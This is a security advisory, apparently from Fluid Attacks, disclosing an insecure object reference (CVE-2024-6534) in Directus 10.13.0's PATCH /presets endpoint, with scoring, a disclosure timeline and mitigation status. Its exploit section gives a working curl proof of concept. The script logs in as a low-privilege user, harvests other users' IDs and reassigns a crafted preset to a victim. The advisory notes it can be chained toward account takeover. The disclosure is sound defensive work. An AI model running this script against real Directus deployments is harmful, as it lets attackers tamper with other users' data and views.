Directus 10.13.0 - IDOR

4.1

Medium

Discovered by 

Miguel Gómez

Offensive Team, Fluid Attacks

Summary

Full name

Directus 10.13.0 - Insecure object reference via PATCH presets

Code name

State

Public

Release date

Aug 14, 2024

Affected product

Directus

Affected version(s)

10.13.0

Vulnerability name

Insecure object reference - Personal information

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N/E:H/RL:U/RC:C

CVSS v3.1 base score

4.1

Exploit available

Yes

CVE ID(s)

Description

Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the POST /presets request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.

Vulnerability

This vulnerability occurs because the application only validates the user parameter in the POST /presets request but not in the PATCH request.

Exploit

To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.

  1. Create a preset for a collection.

    Store the preset id, or use it if it already exists from GET /presets. The following example will use the direct_users preset.

    TARGET_HOST="http://localhost:8055"
    ATTACKER_EMAIL="malicious@malicious.com"
    ATTACKER_PASSWORD="123456"
    root_dir=$(dirname $0)
    mkdir "${root_dir}/static"
    
    
    curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \
     -c "${root_dir}/static/attacker_directus_session_token" \
     -H 'Content-Type: application/json' \
     -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}"
    
    attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \
     -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id")
    
    # Store all user's id
    curl -s -k "${TARGET_HOST}/users" \
     -b "${root_dir}/static/attacker_directus_session_token" |
     jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json"
    
    # Choose the victim user id from the previous request
    victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265"
    users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets" \
    -H 'Content-Type: application/json' \
    -b "${root_dir}/static/attacker_directus_session_token" \
    --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"  | jq -r '.data.id')
  2. Modify the presets via PATCH /presets/{id}.

    With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from GET /users. The following example modifies the title parameter.

    curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \
        -H 'Content-Type: application/json' \
        -b "${root_dir}/static/attacker_directus_session_token" \
        --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"fakeemail@fake.com\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"

    Notes:

    Each new preset to a specific collection will have an integer consecutive id independent of the user who created it.

    The user is the user id of the victim. The server will not validate that we assign a new user to a preset we own.

    The app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.

    When the victim visits the views of the modified presets, it will be rendered with the new configuration applied.

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2024-6534 to refer to this issue from now on.

Disclosure policy

System Information

  • Version: Directus 10.13.0

  • Operating System: Any

Mitigation

There is currently no patch available for this vulnerability.

References

Timeline

Vulnerability discovered

Jul 4, 2024

Vendor contacted

Jul 15, 2024

Vendor replied

Jul 16, 2024

Public disclosure

Aug 14, 2024

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